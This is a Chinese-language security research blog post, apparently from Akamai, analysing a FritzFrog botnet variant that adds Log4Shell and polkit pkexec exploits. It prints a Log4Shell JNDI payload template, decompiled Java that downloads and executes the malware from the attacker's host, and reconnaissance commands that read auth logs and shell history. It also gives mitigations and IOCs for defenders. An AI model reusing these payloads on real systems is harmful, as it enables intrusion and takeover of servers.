Frog4Shell——FritzFrog 僵尸网络再添一日漏洞攻击手段
编辑和评论补充:Tricia Howard
执行摘要
Akamai 安全情报组 (SIG) 发现滥用 2021 年 Log4Shell 漏洞的 FritzFrog 僵尸网络新变种。
几年来,我们观察到 20,000 多次 FritzFrog 攻击及 1,500 多名受害者。
该恶意软件会对强度较低的 SSH 凭据进行暴力破解,从而感染面向互联网的服务器。目前较新的变种会读取受感染主机上的多个系统文件,以检测存在漏洞的可能性较高的潜在攻击目标。
它通过暴力破解的方式利用漏洞,尝试针对尽可能多存在漏洞的 Java 应用程序发动攻击。
该恶意软件现在还包含一个模块,专门利用 polkit Linux 组件中的特权提升漏洞 CVE-2021-4034。通过此模块,该恶意软件可使用 root 身份在存在漏洞的服务器上运行。
- 这篇博文中包含 入侵指标 (IOC) 和额外的抵御措施 ,以帮助防范 FritzFrog 感染。
FritzFrog 背景介绍
Akamai 通过全球传感器网络监控威胁,包括我们先前发现的威胁。其中就包括 FritzFrog 僵尸网络 (最初发现于 2020 年),这是一种基于 Golang 的复杂点对点僵尸网络,其编译方式支持基于 AMD 和 ARM 的机器。该恶意软件处于积极维护状态, 几年来一直在发展变化 ,不断有新功能添加和现有功能改进。
FritzFrog 过去一直使用 SSH 暴力破解攻击手段,数年来已借此成功入侵了数千个目标。每个被入侵的主机都会成为 FritzFrog 网络的一部分,与其他受感染的主机相互通信,以共享信息、攻击负载和配置。
由于得到了持续不断的维护,该恶意软件包含许多值得关注的功能,包括本博文中要讨论的一些新增功能,例如 增加 Log4Shell 漏洞利用手段。例如,它会尝试避免接触磁盘,以限制被检测到的可能性,支持通过 TOR 通信, 甚至拥有一个“防病毒”模块,可以阻止存在竞争关系的恶意软件。
将 Log4Shell 用作感染媒介
FritzFrog 以往仅依靠 SSH 暴力破解这一种感染媒介,但该恶意软件近期的版本添加了一种新的感染媒介: Log4Shell 漏洞利用,结合“FritzFrog”中的“Frog”一词,我们将这种感染媒介称为“Frog4Shell”。
Log4Shell 漏洞最初是在 2021 年 12 月确定的,当时引发了业界持续数月之久的漏洞修补浪潮。即便在 2 年后的今天,仍有许多面向互联网的应用程序存在这个漏洞。
存在漏洞且面向互联网的资产确实是大麻烦,但 FritzFrog 给另外一种类型的资产造成了风险,即内部主机。最初发现该漏洞时,优先修补的是面向互联网的应用程序,因为这类应用程序遭到入侵的风险较高。 相比之下,遭遇漏洞利用攻击的可能性较低的内部机器往往会被忽视,没能得到修补,这就给 FritzFrog 留下了可乘之机。
在该恶意程序的传播例行方法中,它会尝试将内部网络中的所有主机作为攻击目标。为此,它会调用 net__Interface_Addrs 标准 Go 函数,识别可连接到的子网,并将其中可能存在的每个地址作为攻击目标。通过图 1 可以看到,该恶意软件尝试连接到本地网络中的所有地址。
这意味着即便那些“高曝光度”、面向互联网的应用程序已经过修补,只要 FritzFrog 成功入侵网络中的任意资产,就会给未经过修补的内部资产带来风险。
FritzFrog 通过 8080、8090、8888 和 9000 端口查询 HTTP 服务器,从而确定潜在的 Log4Shell 目标。为触发这一漏洞,攻击者需要强制存在漏洞的 log4j 应用程序将包含攻击负载(表 1)的数据记入日志:
${jndi:ldap://<attacker_address>/<payload>}
表 1:Log4Shell 攻击负载示例
此攻击负载会被存在漏洞的 log4j 库错误地解析,并强制 Java 应用程序连接到“attacker_address”中指定的 LDAP 服务器,从该服务器下载一个 Java 类,随后加以执行(图 2)。
FritzFrog 通过 HTTP 标头注入攻击负载(图 3),通过这样的方式来尝试利用该漏洞。其实现方法颇为值得关注——FritzFrog 并非尝试精准地将一个特定 HTTP 标头作为目标,而是将几乎全部 HTTP 标头作为目标。
FritzFrog 在无数个 HTTP 标头中发送 Log4Shell 攻击负载,希望其中至少有一个被应用程序记入日志。这种暴力破解式漏洞利用方法旨在形成一种通用的 Log4Shell 漏洞利用攻击,对广泛的应用程序产生影响。
在图 3 中,被注入的攻击负载使得应用程序连接回 FritzFrog 自己的 IP 地址——该恶意软件托管着自己的 LDAP 服务器,用于提供恶意 Java 类。在执行时,该 Java 类将通过 HTTP 连接到发动攻击的机器,下载托管在“robots.txt”名称下的恶意软件二进制文件(表 2)。
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
表 2:反编译的 Log4Shell Java 攻击负载,其作用是下载 FritzFrog 二进制文件
“robots.txt”文件保存在“ifconfig”名称下。随后,这个 Java 类会执行 ifconfig 二进制文件并删除该文件(表 3)。
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
表 3:反编译的 Log4Shell Java 攻击负载,其作用是执行 FritzFrog 二进制文件
图 4 展示了 FritzFrog 使用的 Log4Shell 漏洞利用攻击流。
SSH 目标发现方法
除了添加 Log4Shell 漏洞利用手段之外,FritzFrog 还提高了为其主要感染媒介识别目标的能力(SSH 暴力破解式攻击)。FritzFrog 现在依然以随机生成的 IP 地址为目标, 但还会枚举每个受害目标的多个系统日志,以尝试识别特定 SSH 目标。
授权日志
Linux auth.log 文件包含与机器之间的连接的信息,以及其他一些信息。FritzFrog 扫描这些日志并查找 IP 地址,从而将网络中的活跃客户端作为攻击目标。为访问数据,该恶意软件会执行以下命令:
cat /var/log/auth*
zcat /var/log/auth*
这些命令将输出所有明文和压缩日志文件的内容。
SSH 已知主机
主机连接到远程 SSH 服务器时,连接信息会自动保存到 ~/.ssh/known_hosts 文件中。FritzFrog 会提取这些主机的地址,并将其作为攻击目标。
这将为恶意软件提供活跃、可连接的 SSH 服务器列表。此外,这些服务器与遭遇入侵的服务器很可能由同一所有者管理,因此也有可能共享相同的低强度密码。
历史记录文件
在 Linux 系统上执行的所有命令都会保存在一个特殊的日志文件中,称为 历史记录文件。FritzFrog 将尝试执行以下命令,以识别先前的 ssh 和 scp 连接:
history | grep -E \"(scp|ssh)\"
随后,FritzFrog 会从这些命令中提取 IP 地址,并将其作为攻击目标。类似于 known_hosts 文件,这能提供活跃、可连接的 SSH 服务器列表。
特权提升
对于该恶意软件,我们观察到的另外一个变化是增加了特权提升功能。初始执行时,FritzFrog 会检查其进程的权限。如果执行用户不是 root,则调用“main_RunBlasty”函数(图 5)。
“RunBlasty”函数首先执行“which”命令——此实用程序支持在系统上定位其他命令的完整路径(图 6)。
可以看到,该恶意软件尝试查找 pkexec 二进制文件的位置。(这有没有让您的脑海里响起与漏洞有关的警钟?)
该恶意软件随即提取其自己的可执行文件中内嵌的两个文件(图 7);这些文件以字符串形式存储,是经过 Gzip 压缩的 Base64 编码文件。提取出的文件分别是 blasty 和 payload.so。
在创建文件后,FritzFrog 执行 blasty ,这是一个使用 C 语言编写的 ELF。通过其代码可以看到,它相当简单——与环境变量执行一些交互,随后执行 pkexec (图 8)。
搜索这些字符串即可 立即 找到 CVE-2021-4034的这段漏洞利用代码。位于 polkit Linux 组件 中的这个漏洞由 Qualys 于 2022 年披露,允许在运行 polkit 的任何 Linux 机器上实现特权提升。 大多数 Linux 发行版都默认安装此组件,因此许多未经修补的机器目前仍然容易受到该 CVE 的攻击。
该漏洞利用了 pkexec 是 SUID 程序这个事实;也就是说,即使由弱用户执行,它也能以 root 特权运行。该漏洞强制 pkexec 加载并执行受攻击者控制的库,从而导致攻击者以 root 用户身份执行代码。
Blasty 利用了这个漏洞,使 pkexec 加载并执行 payload.so。如图 9 所示,该库会将进程的 uid 和 gid 设置为 0,即 root,并执行 root_update (FritzFrog 的二进制文件)。
另外一个值得关注的要点在于, blasty 和 payload.so 均针对 AMD64 架构而编译,即便是在 ARM 上运行的 FritzFrog 变体也不例外。这就意味着在并非基于 AMD64 CPU 运行的机器上,无法发动该漏洞利用攻击。
防御规避
FritzFrog 继续利用各种策略保持隐蔽性并规避检测。具体来说,它会特别注意尽可能避免将文件存放到磁盘上。我们观察到,其开发人员使用了两种 Linux 功能来实现这一目标: /dev/shm 和 memfd_create。
/dev/shm
第一种技术使用 /dev/shm 文件夹(其中的 shm 代表 shared memory,即共享内存),这个目录旨在实现系统上不同进程之间的高效通信(图 10)。虽然看起来与普通的文件系统文件夹一般无二,但 /dev/shm 直接映射到 RAM,在这个文件夹下创建的文件不会接触到磁盘。
FritzFrog 利用这个文件夹来实现无文件执行,将文件写入到 /dev/shm,并通过这个目录来执行文件。为了监控此活动,我们可以执行恶意软件,使用 inotifywait 实用程序来检查 /dev/shm中的文件操作。我们观察到,该恶意软件会向此目录写入多个文件,例如在图 8 中,该恶意软件将所有 pkexec 漏洞利用文件写入到 /dev/shm 之中,之后再加以执行。
memfd_create
第二种技术使用 memfd_create 函数,手册页面中对此函数的描述如下:
memfd_create() 创建一个匿名文件,并返回指向该文件的文件描述符。该文件的行为方式类似于常规文件,因此可以对其执行修改、截断、内存映射等操作。但与普通文件的不同之处在于,它驻留在 RAM 中。
因此,与第一种技术类似,这能在不接触磁盘的情况下方便地创建文件。FritzFrog 在执行其挖矿程序攻击负载时使用了这种技术(图 11)——将攻击负载写入由 memfd_create 创建的匿名文件中并加以执行。
抵御措施
我们推荐以下两种抵御策略:使用网络分段,以及检测常见恶意软件策略、技术和程序。
网络分段可以 防止横向移动,从而限制 FritzFrog 的潜在影响。基于软件的分段或许是相对容易启动的解决方案,而且能产生持久的防御效果。
我们提供了一个可在 SSH 服务器上运行的 FritzFrog 检测脚本 ,它能查找以下指示 FritzFrog 攻击的迹象:
a. 运行名为 nginx、ifconfig、php-fpm、apache2 或 libexec的进程,而且其可执行文件已不再存在于文件系统中(如下所示)
b. 侦听端口 1234
结论
2023 年,攻击者的主要趋势是攻击策略转为漏洞利用, 这造成一日漏洞和零日 漏洞利用猖獗, 而且事实已经证明,这类攻击手段均在入侵企业的最有效方法之列。
FritzFrog 添加漏洞利用手段也表明了类似的攻击策略方向转变。本文中探讨的两项新增手段(即滥用 Log4Shell 漏洞的新增感染媒介和 pkexec 漏洞利用模块)正是这种转变的例证。我们相信,这一趋势将在后续的 FritzFrog 版本中得到延续,假以时日,这款恶意软件很有可能添加更多漏洞利用手段。
Akamai SIG 将继续监控这一威胁和其他类似的威胁,并公布我们的发现结果。若要了解 FritzFrog 动态和其他安全研究动态, 请关注我们的微信公众号 。
IOC
FritzFrog 二进制文件
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Log4Shell 攻击负载
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
“Blasty” pkexec 漏洞利用
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248